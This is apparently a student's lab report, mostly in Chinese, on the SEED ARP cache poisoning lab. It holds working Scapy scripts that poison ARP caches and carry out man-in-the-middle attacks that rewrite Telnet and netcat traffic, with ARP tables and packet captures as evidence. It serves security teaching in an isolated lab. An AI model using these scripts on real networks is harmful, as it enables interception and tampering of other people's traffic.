

ARP Cache Poisoning Attack Lab

57118212晏宇珂

Task 1: ARP Cache Poisoning

- A using ARP request

代码如下:

```
1 from scapy.all import *
2
3 E=Ether()
4 A=ARP()
5 A.op=1
6 A.psrc="10.9.0.6"
7 A.pdst="10.9.0.5"
8
9 pkt=E/A
10 while 1:
11     sendp(pkt)
```

发之前是正常的MAC, 发之后被替换:

```
root@3802bf71333c:/# arp -n
Address          HWtype  HWaddress      Flags Mask    Iface
10.9.0.105       ether    02:42:0a:09:00:69 C             eth0
10.9.0.6         ether    02:42:0a:09:00:69 C             eth0
root@3802bf71333c:/#
```

- B using ARP reply

代码如下:

```
1 from scapy.all import *
2
3 E=Ether()
4 A=ARP()
5 A.op=2
6 A.psrc="10.9.0.6"
7 A.pdst="10.9.0.5"
8
9 pkt=E/A
10 while 1:
11     sendp(pkt)
```

- scenario1

替换成功:

```
root@3802bf71333c:/# arp -n
Address          HWtype  HWaddress      Flags Mask    Iface
10.9.0.6         ether    02:42:0a:09:00:06 C             eth0
10.9.0.105       ether    02:42:0a:09:00:69 C             eth0
root@3802bf71333c:/# arp -n
Address          HWtype  HWaddress      Flags Mask    Iface
10.9.0.6         ether    02:42:0a:09:00:69 C             eth0
10.9.0.105       ether    02:42:0a:09:00:69 C             eth0
```

- o scenario2

保持替换后的MAC:

```
root@3802bf71333c:/# arp -n
Address          HWtype  HWaddress      Flags Mask    Iface
10.9.0.6          ether    02:42:0a:09:00:69  C             eth0
10.9.0.105        ether    02:42:0a:09:00:69  C             eth0
root@3802bf71333c:/# arp -n
Address          HWtype  HWaddress      Flags Mask    Iface
10.9.0.6          ether    02:42:0a:09:00:69  C             eth0
10.9.0.105        ether    02:42:0a:09:00:69  C             eth0
```

- C using ARP gratuitous message

代码如下:

```
1  from scapy.all import *
2
3  E=Ether()
4  A=ARP()
5  A.psrc="10.9.0.6"
6  A.pdst="10.9.0.6"
7  A.hwdst="ff:ff:ff:ff:ff:ff"
8  E.dst="ff:ff:ff:ff:ff:ff"
9
10 pkt=E/A
11 while 1:
12     sendp(pkt)
```

成功替换MAC:

```
root@3802bf71333c:/# arp -n
Address          HWtype  HWaddress      Flags Mask    Iface
10.9.0.6          ether    02:42:0a:09:00:06  C             eth0
10.9.0.105        ether    02:42:0a:09:00:69  C             eth0
root@3802bf71333c:/# arp -n
Address          HWtype  HWaddress      Flags Mask    Iface
10.9.0.6          ether    02:42:0a:09:00:69  C             eth0
10.9.0.105        ether    02:42:0a:09:00:69  C             eth0
```

Task 2: MITM Attack on Telnet using ARP Cache Poisoning

实施task1中的攻击后, 主机A和B中的arp如图:

```
root@dd477adea33a:/# arp -n
Address          HWtype  HWaddress      Flags Mask    Iface
10.9.0.6          ether    02:42:0a:09:00:69  C             eth0
10.9.0.105        ether    02:42:0a:09:00:69  C             eth0
root@dd477adea33a:/# arp -n
Address          HWtype  HWaddress      Flags Mask    Iface
10.9.0.5          ether    02:42:0a:09:00:69  C             eth0
10.9.0.105        ether    02:42:0a:09:00:69  C             eth0
```

关闭M的ip转发:

```
1 sysctl net.ipv4.ip_forward=0
```

A和B互相ping不通, 用WireShark抓包:

53	2021-07-16 16:1...	10.9.0.5	10.9.0.6	ICMP	100 Echo (ping) request	id=0x002e, seq=3/768, ttl=64 (no respons...
54	2021-07-16 16:1...	10.9.0.5	10.9.0.6	ICMP	100 Echo (ping) request	id=0x002e, seq=3/768, ttl=64 (no respons...
191	2021-07-16 16:1...	10.9.0.6	10.9.0.5	ICMP	100 Echo (ping) request	id=0x0046, seq=8/2048, ttl=64 (no respons...
192	2021-07-16 16:1...	10.9.0.6	10.9.0.5	ICMP	100 Echo (ping) request	id=0x0046, seq=8/2048, ttl=64 (no respons...
307	2021-07-16 16:1...	10.9.0.5	10.9.0.6	ICMP	100 Echo (ping) request	id=0x002e, seq=4/1024, ttl=64 (no respons...
308	2021-07-16 16:1...	10.9.0.5	10.9.0.6	ICMP	100 Echo (ping) request	id=0x002e, seq=4/1024, ttl=64 (no respons...
433	2021-07-16 16:1...	10.9.0.6	10.9.0.5	ICMP	100 Echo (ping) request	id=0x0046, seq=9/2304, ttl=64 (no respons...
434	2021-07-16 16:1...	10.9.0.6	10.9.0.5	ICMP	100 Echo (ping) request	id=0x0046, seq=9/2304, ttl=64 (no respons...
539	2021-07-16 16:1...	10.9.0.5	10.9.0.6	ICMP	100 Echo (ping) request	id=0x002e, seq=5/1280, ttl=64 (no respons...
540	2021-07-16 16:1...	10.9.0.5	10.9.0.6	ICMP	100 Echo (ping) request	id=0x002e, seq=5/1280, ttl=64 (no respons...
681	2021-07-16 16:1...	10.9.0.6	10.9.0.5	ICMP	100 Echo (ping) request	id=0x0046, seq=10/2560, ttl=64 (no respons...
682	2021-07-16 16:1...	10.9.0.6	10.9.0.5	ICMP	100 Echo (ping) request	id=0x0046, seq=10/2560, ttl=64 (no respons...
787	2021-07-16 16:1...	10.9.0.5	10.9.0.6	ICMP	100 Echo (ping) request	id=0x002e, seq=6/1536, ttl=64 (no respons...
788	2021-07-16 16:1...	10.9.0.5	10.9.0.6	ICMP	100 Echo (ping) request	id=0x002e, seq=6/1536, ttl=64 (no respons...
927	2021-07-16 16:1...	10.9.0.6	10.9.0.5	ICMP	100 Echo (ping) request	id=0x0046, seq=11/2816, ttl=64 (no respons...

打开M的ip转发:

```
1 | sysctl net.ipv4.ip_forward=1
```

此时中间人会转发两台主机间的数据包, 能收到ping的回应了:

1419	2021-07-16 16:2...	10.9.0.105	10.9.0.5	ICMP	128 Redirect	(Redirect for host)
1420	2021-07-16 16:2...	10.9.0.105	10.9.0.5	ICMP	128 Redirect	(Redirect for host)
1421	2021-07-16 16:2...	10.9.0.5	10.9.0.6	ICMP	100 Echo (ping) reply	id=0x0047, seq=2/512, ttl=63
1422	2021-07-16 16:2...	10.9.0.5	10.9.0.6	ICMP	100 Echo (ping) reply	id=0x0047, seq=2/512, ttl=63
1671	2021-07-16 16:2...	10.9.0.6	10.9.0.5	ICMP	100 Echo (ping) request	id=0x0047, seq=3/768, ttl=64 (no respons...
1672	2021-07-16 16:2...	10.9.0.6	10.9.0.5	ICMP	100 Echo (ping) request	id=0x0047, seq=3/768, ttl=64 (no respons...
1673	2021-07-16 16:2...	10.9.0.105	10.9.0.6	ICMP	128 Redirect	(Redirect for host)
1674	2021-07-16 16:2...	10.9.0.105	10.9.0.6	ICMP	128 Redirect	(Redirect for host)
1675	2021-07-16 16:2...	10.9.0.6	10.9.0.5	ICMP	100 Echo (ping) request	id=0x0047, seq=3/768, ttl=63 (no respons...

正式实施攻击, 首先完成task1的攻击, 此时M的ip转发是打开的, A telnet连接B, 再关上M的ip转发, 编写如下程序:

```
1  #!/usr/bin/env python3
2  from scapy.all import *
3
4  IP_A="10.9.0.5"
5  MAC_A="02:42:0a:09:00:05"
6  IP_B="10.9.0.6"
7  MAC_B="02:42:0a:09:00:06"
8
9  def spoof_pkt(pkt):
10     if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
11         newpkt = IP(bytes(pkt[IP]))
12         del(newpkt.chksum)
13         del(newpkt[TCP].payload)
14         del(newpkt[TCP].chksum)
15
16         if pkt[TCP].payload:
17             data = pkt[TCP].payload.load
18             data_len = len(data)
19             newdata = 'Z' * data_len
20             send(newpkt/newdata)
21         else:
22             send(newpkt)
23     elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A:
24         newpkt = IP(bytes(pkt[IP]))
25         del(newpkt.chksum)
26         del(newpkt[TCP].chksum)
27         send(newpkt)
28
29 f = 'tcp and ether src host 02:42:0a:09:00:05'
30 pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)
```

无论输入什么都只会显示Z:

```

root@dd477adea33a:/# telnet 10.9.0.6
Trying 10.9.0.6...
Connected to 10.9.0.6.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
727c4b14425d login: see
Password:

Login incorrect
727c4b14425d login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Fri Jul 16 21:03:34 UTC 2021 from A-10.9.0.5.net-10.9.0.0 on pts/4
seed@727c4b14425d:~$ ZZZZZZZZZZ

```

抓包可以看到A发给M的是a:

861	2021-07-16 17:1...	10.9.0.5	10.9.0.6	TELNET	69 Telnet Data ...
1099	2021-07-16 17:1...	10.9.0.5	10.9.0.6	TELNET	69 [TCP Spurious Retransmission] Telnet Data ...
1100	2021-07-16 17:1...	10.9.0.5	10.9.0.6	TELNET	69 [TCP Spurious Retransmission] Telnet Data ...
2217	2021-07-16 17:1...	10.9.0.6	10.9.0.5	TELNET	69 Telnet Data ...
2507	2021-07-16 17:1...	10.9.0.5	10.9.0.6	TELNET	69 [TCP Spurious Retransmission] Telnet Data ...
2508	2021-07-16 17:1...	10.9.0.5	10.9.0.6	TELNET	69 [TCP Spurious Retransmission] Telnet Data ...
3075	2021-07-16 17:1...	10.9.0.6	10.9.0.5	TELNET	69 [TCP Spurious Retransmission] Telnet Data ...
3076	2021-07-16 17:1...	10.9.0.6	10.9.0.5	TELNET	69 [TCP Spurious Retransmission] Telnet Data ...
3509	2021-07-16 17:1...	10.9.0.6	10.9.0.5	TELNET	69 [TCP Spurious Retransmission] Telnet Data ...
3510	2021-07-16 17:1...	10.9.0.6	10.9.0.5	TELNET	69 [TCP Spurious Retransmission] Telnet Data ...
3777	2021-07-16 17:1...	10.9.0.5	10.9.0.6	TELNET	76 Telnet Data ...
4033	2021-07-16 17:1...	10.9.0.5	10.9.0.6	TELNET	69 [TCP Spurious Retransmission] Telnet Data ...
4034	2021-07-16 17:1...	10.9.0.5	10.9.0.6	TELNET	69 [TCP Spurious Retransmission] Telnet Data ...
4161	2021-07-16 17:1...	10.9.0.5	10.9.0.6	TELNET	69 [TCP Spurious Retransmission] Telnet Data ...
4162	2021-07-16 17:1...	10.9.0.5	10.9.0.6	TELNET	69 [TCP Spurious Retransmission] Telnet Data ...
4271	2021-07-16 17:1...	10.9.0.5	10.9.0.6	TELNET	69 [TCP Spurious Retransmission] Telnet Data ...
4272	2021-07-16 17:1...	10.9.0.5	10.9.0.6	TELNET	69 [TCP Spurious Retransmission] Telnet Data ...
4587	2021-07-16 17:1...	10.9.0.5	10.9.0.6	TELNET	69 Telnet Data ...
4859	2021-07-16 17:1...	10.9.0.6	10.9.0.5	TELNET	69 [TCP Spurious Retransmission] Telnet Data ...
4860	2021-07-16 17:1...	10.9.0.6	10.9.0.5	TELNET	69 [TCP Spurious Retransmission] Telnet Data ...

> Frame 861: 69 bytes on wire (552 bits), 69 bytes captured (552 bits) on interface any, id 0
 > Linux cooked capture
 > Internet Protocol Version 4, Src: 10.9.0.5, Dst: 10.9.0.6
 > Transmission Control Protocol, Src Port: 45708, Dst Port: 23, Seq: 1007724098, Ack: 3836763469, Len: 1
 > Telnet
 Data: a

但M发给B的是Z:

861	2021-07-16 17:1...	10.9.0.5	10.9.0.6	TELNET	69 Telnet Data ...
1099	2021-07-16 17:1...	10.9.0.5	10.9.0.6	TELNET	69 [TCP Spurious Retransmission] Telnet Data ...
1100	2021-07-16 17:1...	10.9.0.5	10.9.0.6	TELNET	69 [TCP Spurious Retransmission] Telnet Data ...
2217	2021-07-16 17:1...	10.9.0.6	10.9.0.5	TELNET	69 Telnet Data ...
2507	2021-07-16 17:1...	10.9.0.5	10.9.0.6	TELNET	69 [TCP Spurious Retransmission] Telnet Data ...
2508	2021-07-16 17:1...	10.9.0.5	10.9.0.6	TELNET	69 [TCP Spurious Retransmission] Telnet Data ...
3075	2021-07-16 17:1...	10.9.0.6	10.9.0.5	TELNET	69 [TCP Spurious Retransmission] Telnet Data ...
3076	2021-07-16 17:1...	10.9.0.6	10.9.0.5	TELNET	69 [TCP Spurious Retransmission] Telnet Data ...
3509	2021-07-16 17:1...	10.9.0.6	10.9.0.5	TELNET	69 [TCP Spurious Retransmission] Telnet Data ...
3510	2021-07-16 17:1...	10.9.0.6	10.9.0.5	TELNET	69 [TCP Spurious Retransmission] Telnet Data ...
3777	2021-07-16 17:1...	10.9.0.5	10.9.0.6	TELNET	76 Telnet Data ...
4033	2021-07-16 17:1...	10.9.0.5	10.9.0.6	TELNET	69 [TCP Spurious Retransmission] Telnet Data ...
4034	2021-07-16 17:1...	10.9.0.5	10.9.0.6	TELNET	69 [TCP Spurious Retransmission] Telnet Data ...
4161	2021-07-16 17:1...	10.9.0.5	10.9.0.6	TELNET	69 [TCP Spurious Retransmission] Telnet Data ...
4162	2021-07-16 17:1...	10.9.0.5	10.9.0.6	TELNET	69 [TCP Spurious Retransmission] Telnet Data ...
4271	2021-07-16 17:1...	10.9.0.5	10.9.0.6	TELNET	69 [TCP Spurious Retransmission] Telnet Data ...
4272	2021-07-16 17:1...	10.9.0.5	10.9.0.6	TELNET	69 [TCP Spurious Retransmission] Telnet Data ...
4587	2021-07-16 17:1...	10.9.0.5	10.9.0.6	TELNET	69 Telnet Data ...
4859	2021-07-16 17:1...	10.9.0.6	10.9.0.5	TELNET	69 [TCP Spurious Retransmission] Telnet Data ...
4860	2021-07-16 17:1...	10.9.0.6	10.9.0.5	TELNET	69 [TCP Spurious Retransmission] Telnet Data ...

> Frame 1099: 69 bytes on wire (552 bits), 69 bytes captured (552 bits) on interface any, id 0
 > Linux cooked capture
 > Internet Protocol Version 4, Src: 10.9.0.5, Dst: 10.9.0.6
 > Transmission Control Protocol, Src Port: 45708, Dst Port: 23, Seq: 1007724097, Ack: 3836763468, Len: 1
 > Telnet
 Data: Z

B返回的也是Z:

861	2021-07-16 17:1...	10.9.0.5	10.9.0.6	TELNET	69 Telnet Data ...
1099	2021-07-16 17:1...	10.9.0.5	10.9.0.6	TELNET	69 [TCP Spurious Retransmission] Telnet Data ...
1100	2021-07-16 17:1...	10.9.0.5	10.9.0.6	TELNET	69 [TCP Spurious Retransmission] Telnet Data ...
2217	2021-07-16 17:1...	10.9.0.6	10.9.0.5	TELNET	69 Telnet Data ...
2507	2021-07-16 17:1...	10.9.0.5	10.9.0.6	TELNET	69 [TCP Spurious Retransmission] Telnet Data ...
2508	2021-07-16 17:1...	10.9.0.5	10.9.0.6	TELNET	69 [TCP Spurious Retransmission] Telnet Data ...
3075	2021-07-16 17:1...	10.9.0.6	10.9.0.5	TELNET	69 [TCP Spurious Retransmission] Telnet Data ...
3076	2021-07-16 17:1...	10.9.0.6	10.9.0.5	TELNET	69 [TCP Spurious Retransmission] Telnet Data ...
3509	2021-07-16 17:1...	10.9.0.6	10.9.0.5	TELNET	69 [TCP Spurious Retransmission] Telnet Data ...
3510	2021-07-16 17:1...	10.9.0.6	10.9.0.5	TELNET	69 [TCP Spurious Retransmission] Telnet Data ...
3777	2021-07-16 17:1...	10.9.0.5	10.9.0.6	TELNET	76 Telnet Data ...
4033	2021-07-16 17:1...	10.9.0.5	10.9.0.6	TELNET	69 [TCP Spurious Retransmission] Telnet Data ...
4034	2021-07-16 17:1...	10.9.0.5	10.9.0.6	TELNET	69 [TCP Spurious Retransmission] Telnet Data ...
4161	2021-07-16 17:1...	10.9.0.5	10.9.0.6	TELNET	69 [TCP Spurious Retransmission] Telnet Data ...
4162	2021-07-16 17:1...	10.9.0.5	10.9.0.6	TELNET	69 [TCP Spurious Retransmission] Telnet Data ...
4271	2021-07-16 17:1...	10.9.0.5	10.9.0.6	TELNET	69 [TCP Spurious Retransmission] Telnet Data ...
4272	2021-07-16 17:1...	10.9.0.5	10.9.0.6	TELNET	69 [TCP Spurious Retransmission] Telnet Data ...
4587	2021-07-16 17:1...	10.9.0.5	10.9.0.6	TELNET	69 Telnet Data ...
4859	2021-07-16 17:1...	10.9.0.6	10.9.0.5	TELNET	69 [TCP Spurious Retransmission] Telnet Data ...
4860	2021-07-16 17:1...	10.9.0.6	10.9.0.5	TELNET	69 [TCP Spurious Retransmission] Telnet Data ...

▶ Frame 2217: 69 bytes on wire (552 bits), 69 bytes captured (552 bits) on interface any, id 0
 ▶ Linux cooked capture
 ▶ Internet Protocol Version 4, Src: 10.9.0.6, Dst: 10.9.0.5
 ▶ Transmission Control Protocol, Src Port: 23, Dst Port: 45708, Seq: 3836763469, Ack: 1007724099, Len: 1
 ▶ Telnet
 Data: Z

Task 3: MITM Attack on Netcat using ARP Cache Poisoning

前面的步骤和Task2一样，用nc建立连接：

```
1 | nc -lp 9090(10.9.0.6内)
2 | nc -nv 10.9.0.6 9090(10.9.0.5内)
```

修改Task2中的代码：

```
1 | #!/usr/bin/env python3
2 | from scapy.all import *
3 |
4 | IP_A="10.9.0.5"
5 | MAC_A="02:42:0a:09:00:05"
6 | IP_B="10.9.0.6"
7 | MAC_B="02:42:0a:09:00:06"
8 |
9 | def spoof_pkt(pkt):
10 |     if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
11 |         newpkt = IP(bytes(pkt[IP]))
12 |         del(newpkt.chksum)
13 |         del(newpkt[TCP].payload)
14 |         del(newpkt[TCP].chksum)
15 |
16 |         if pkt[TCP].payload:
17 |             data = pkt[TCP].payload.load
18 |             newdata = data.replace(b'yanyuke', b'AAAAAAA')
19 |             send(newpkt/newdata)
20 |         else:
21 |             send(newpkt)
22 |     elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A:
23 |         newpkt = IP(bytes(pkt[IP]))
24 |         del(newpkt.chksum)
25 |         del(newpkt[TCP].chksum)
26 |         send(newpkt)
27 |
28 | f = 'tcp and ether src host 02:42:0a:09:00:05'
29 | pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)
```

结果输入 yanyuke 时监听端出现 AAAAAA：

```
root@dd477adea33a:/# nc -nv 10.9.0.6 9090
Connection to 10.9.0.6 9090 port [tcp/*] succeeded!
abc
yanyuke
█
```

```
seed@727c4b14425d:~$ nc -lp 9090
abc
AAAAAAA
█
```
